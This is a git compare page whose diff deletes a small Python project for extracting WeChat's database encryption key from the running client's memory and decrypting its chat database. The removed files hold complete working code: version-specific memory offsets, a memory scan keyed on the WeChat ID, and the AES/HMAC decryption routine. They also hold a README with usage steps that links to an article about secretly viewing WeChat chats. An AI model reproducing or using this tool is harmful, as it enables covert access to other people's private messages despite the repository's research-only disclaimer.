Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
 Changhua
|
b3ba05a8d9 | ||
|
Changhua
|
f6850656e7 |
No files matched your search
@@ -1,5 +0,0 @@
|
||||
.*
|
||||
!.gitignore
|
||||
|
||||
*.pyc
|
||||
__pycache__
|
||||
@@ -1,56 +0,0 @@
|
||||
#! /usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import hmac
|
||||
import ctypes
|
||||
import hashlib
|
||||
import argparse
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
|
||||
def decrypt_msg(path, password):
|
||||
KEY_SIZE = 32
|
||||
DEFAULT_ITER = 64000
|
||||
DEFAULT_PAGESIZE = 4096 # 4048数据 + 16IV + 20 HMAC + 12
|
||||
SQLITE_FILE_HEADER = bytes("SQLite format 3", encoding="ASCII") + bytes(1) # SQLite 文件头
|
||||
|
||||
with open(path, "rb") as f:
|
||||
# TODO: 优化，考虑超大文件
|
||||
blist = f.read()
|
||||
|
||||
salt = blist[:16] # 前16字节为盐
|
||||
key = hashlib.pbkdf2_hmac("sha1", password, salt, DEFAULT_ITER, KEY_SIZE) # 获得Key
|
||||
|
||||
page1 = blist[16:DEFAULT_PAGESIZE] # 丢掉salt
|
||||
|
||||
mac_salt = bytes([x ^ 0x3a for x in salt])
|
||||
mac_key = hashlib.pbkdf2_hmac("sha1", key, mac_salt, 2, KEY_SIZE)
|
||||
|
||||
hash_mac = hmac.new(mac_key, digestmod="sha1")
|
||||
hash_mac.update(page1[:-32])
|
||||
hash_mac.update(bytes(ctypes.c_int(1)))
|
||||
|
||||
if hash_mac.digest() != page1[-32:-12]:
|
||||
raise RuntimeError("密码错误！")
|
||||
|
||||
pages = [blist[i:i+DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
|
||||
pages.insert(0, page1) # 把第一页补上
|
||||
with open(f"{path}.dec.db", "wb") as f:
|
||||
f.write(SQLITE_FILE_HEADER) # 写入文件头
|
||||
|
||||
for i in pages:
|
||||
t = AES.new(key, AES.MODE_CBC, i[-48:-32])
|
||||
f.write(t.decrypt(i[:-48]))
|
||||
f.write(i[-48:])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parse = argparse.ArgumentParser()
|
||||
parse.add_argument("-p", "--path", type=str, required=True, help="待解密数据库路径")
|
||||
parse.add_argument("-k", "--key", type=str, required=True, help="通过 GetWeChatAesKey.py 获取到的密码")
|
||||
|
||||
args = parse.parse_args()
|
||||
key = bytes.fromhex(args.key)
|
||||
path = args.path
|
||||
|
||||
decrypt_msg(path, key)
|
||||
@@ -1,169 +0,0 @@
|
||||
#! /usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import argparse
|
||||
import binascii
|
||||
import os
|
||||
import struct
|
||||
|
||||
import segno
|
||||
from pymem import Pymem, pattern, process
|
||||
from win32api import HIWORD, LOWORD, GetFileVersionInfo
|
||||
|
||||
|
||||
def error():
|
||||
print("请按提示排查，如仍有问题可扫描二维码联系作者")
|
||||
qrcode = segno.make("http://weixin.qq.com/r/OzopMZrEuMfHrd5S928p")
|
||||
qrcode.show()
|
||||
exit(-1)
|
||||
|
||||
|
||||
def getDllArch(dll_file):
|
||||
"""Get DLL arch type
|
||||
Adapted from: http://stackoverflow.com/a/495305/1338797
|
||||
"""
|
||||
with open(dll_file, "rb") as f:
|
||||
doshdr = f.read(64)
|
||||
magic, padding, offset = struct.unpack("2s58si", doshdr)
|
||||
|
||||
if magic != b"MZ":
|
||||
return None
|
||||
f.seek(offset, os.SEEK_SET)
|
||||
pehdr = f.read(6)
|
||||
|
||||
# careful! H == unsigned short, x64 is negative with signed
|
||||
magic, padding, machine = struct.unpack("2s2sH", pehdr)
|
||||
|
||||
if magic != b"PE":
|
||||
return None
|
||||
if machine == 0x014c:
|
||||
return "i386"
|
||||
if machine == 0x0200:
|
||||
return "IA64"
|
||||
if machine == 0x8664:
|
||||
return "x64"
|
||||
|
||||
return "unknown"
|
||||
|
||||
|
||||
def is64Bit(pm):
|
||||
exe_arch = getDllArch(list(pm.list_modules())[0].filename)
|
||||
if exe_arch == "x64":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def getVersionBase(pm):
|
||||
WeChatWindll_base = 0
|
||||
WeChatWindll_path = ""
|
||||
for m in list(pm.list_modules()):
|
||||
path = m.filename
|
||||
if path.endswith("WeChatWin.dll"):
|
||||
WeChatWindll_base = m.lpBaseOfDll
|
||||
WeChatWindll_path = path
|
||||
break
|
||||
|
||||
if not WeChatWindll_path:
|
||||
print("获取版本失败，请确认本系统是否成功安装了微信！")
|
||||
error()
|
||||
|
||||
version = GetFileVersionInfo(WeChatWindll_path, "\\")
|
||||
|
||||
msv = version['FileVersionMS']
|
||||
lsv = version['FileVersionLS']
|
||||
version = f"{str(HIWORD(msv))}.{str(LOWORD(msv))}.{str(HIWORD(lsv))}.{str(LOWORD(lsv))}"
|
||||
|
||||
return version, WeChatWindll_base
|
||||
|
||||
|
||||
def getOffsetByWxNum(pm, id):
|
||||
"""Get Key offset by WeChat Number
|
||||
Tested with
|
||||
3.9.5.91 (64bit)
|
||||
3.9.7.29 (64bit)
|
||||
3.9.8.15 (64bit)
|
||||
3.9.5.80 (32bit)
|
||||
3.9.2.23 (32bit)
|
||||
"""
|
||||
bytes_pattern = bytearray()
|
||||
bytes_pattern.extend(map(ord, id))
|
||||
id_pattern = bytes(bytes_pattern)
|
||||
wechatwindll_module = process.module_from_name(pm.process_handle, "WeChatWin.dll")
|
||||
wechat_id_addrs = pattern.pattern_scan_module(
|
||||
pm.process_handle, wechatwindll_module, id_pattern, return_multiple=True)
|
||||
if wechat_id_addrs == None or len(wechat_id_addrs) != 2:
|
||||
print(f"未能寻获微信账号: {id}")
|
||||
error()
|
||||
|
||||
return wechat_id_addrs[1] - (64 if is64Bit(pm) else 36)
|
||||
|
||||
|
||||
def getAesKey(pm, base, offset):
|
||||
try:
|
||||
if is64Bit(pm):
|
||||
result = pm.read_bytes(base + offset, 8) # 读取 AES Key 的地址
|
||||
addr = struct.unpack("<Q", result)[0] # 地址为小端 8 字节整型
|
||||
else:
|
||||
result = pm.read_bytes(base + offset, 4) # 读取 AES Key 的地址
|
||||
addr = struct.unpack("<I", result)[0] # 地址为小端 4 字节整型
|
||||
|
||||
aesKey = pm.read_bytes(addr, 0x20) # 读取 AES Key
|
||||
result = binascii.b2a_hex(aesKey) # 解码
|
||||
except Exception as e:
|
||||
print(f"{e}")
|
||||
print(f"请确认微信已经登录！")
|
||||
error()
|
||||
|
||||
return result.decode()
|
||||
|
||||
|
||||
AESKEY_OFFSETS = {
|
||||
"3.3.0.115": 0x1DDF914,
|
||||
"3.3.5.34": 0x1D2FB34,
|
||||
"3.6.0.18": 0x222EFE4,
|
||||
"3.7.0.29": 0x2363524,
|
||||
"3.7.0.30": 0x2366524,
|
||||
"3.7.5.23": 0x242413C,
|
||||
"3.8.1.26": 0x2C429FC,
|
||||
"3.9.0.28": 0x2E2D1AC,
|
||||
"3.9.2.23": 0x2FFD90C,
|
||||
}
|
||||
|
||||
AESKEY_OFFSETS_64 = {
|
||||
"3.9.5.91": 0x3ACCC70
|
||||
}
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
pm = Pymem("WeChat.exe")
|
||||
except Exception as e:
|
||||
print(f"{e}，请确认微信程序已经打开并登录！")
|
||||
error()
|
||||
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("-i", "--id", required=False, help="微信号，通过微信号来获取密钥偏移")
|
||||
args = vars(ap.parse_args())
|
||||
|
||||
version, base = getVersionBase(pm)
|
||||
print(f"微信版本：{version} " + ("(64bit)" if is64Bit(pm) else "(32bit)"))
|
||||
print(f"微信基址：{hex(base)}")
|
||||
|
||||
wechatid = args["id"]
|
||||
if wechatid != None:
|
||||
print(f"使用微信账号 {wechatid} 搜索")
|
||||
offset = getOffsetByWxNum(pm, wechatid) - base
|
||||
else:
|
||||
if is64Bit(pm):
|
||||
offset = AESKEY_OFFSETS_64.get(version, None)
|
||||
else:
|
||||
offset = AESKEY_OFFSETS.get(version, None)
|
||||
|
||||
if not offset:
|
||||
print(f"暂不支持版本 {version}，请联系作者。")
|
||||
error()
|
||||
|
||||
print(f"偏移地址：{hex(offset)}")
|
||||
|
||||
aesKey = getAesKey(pm, base, offset)
|
||||
print(f"数据库密钥：{aesKey}")
|
||||
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2022 Changhua
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,40 +1,3 @@
|
||||
# Hack WeChat DB
|
||||
[偷偷查看微信聊天记录](https://mp.weixin.qq.com/s/nckZTQ0leQLz27vUv4KfGg) 对应的代码。
|
||||
|
||||
**⚠️ 仅作技术研究，请勿违法犯罪；也不要将自己的密码和数据库提供给他人，以免隐私受损。**
|
||||
|
||||
## 使用方法
|
||||
### 安装依赖
|
||||
```sh
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### 获取密钥
|
||||
两种方法，一种需要输入微信号；一种需要指定微信版本。
|
||||
|
||||
#### 1 通过微信号
|
||||
感谢 @sanpee 的 [PR](https://github.com/lich0821/WeChatDB/pull/6)，可以无视版本。
|
||||
|
||||
```sh
|
||||
python GetWeChatAesKey.py --id 当前登录的微信号
|
||||
```
|
||||
|
||||
#### 2 直接运行
|
||||
如果当前微信版本在 `AESKEY_OFFSETS` 或者 `AESKEY_OFFSETS_64` 中（见 [GetWeChatAesKey.py](GetWeChatAesKey.py)），直接运行即可。
|
||||
```sh
|
||||
python GetWeChatAesKey.py
|
||||
```
|
||||
|
||||
### 解密数据库
|
||||
```sh
|
||||
python CrackWeChatDB.py -p 数据库的完整路径 -k 刚才获取到的密钥
|
||||
```
|
||||
|
||||
解密的数据库在原路径下，以 `.dec.db` 结尾。
|
||||
|
||||
欢迎交流：
|
||||
|
||||
<center>
|
||||
|
||||
|
||||
</center>
|
||||
因不可抗因素，项目停止维护。
|
||||
@@ -1,5 +0,0 @@
|
||||
segno
|
||||
pycryptodome
|
||||
pymem
|
||||
pywin32
|
||||
argparse
|
||||
Reference in new issue
Block a user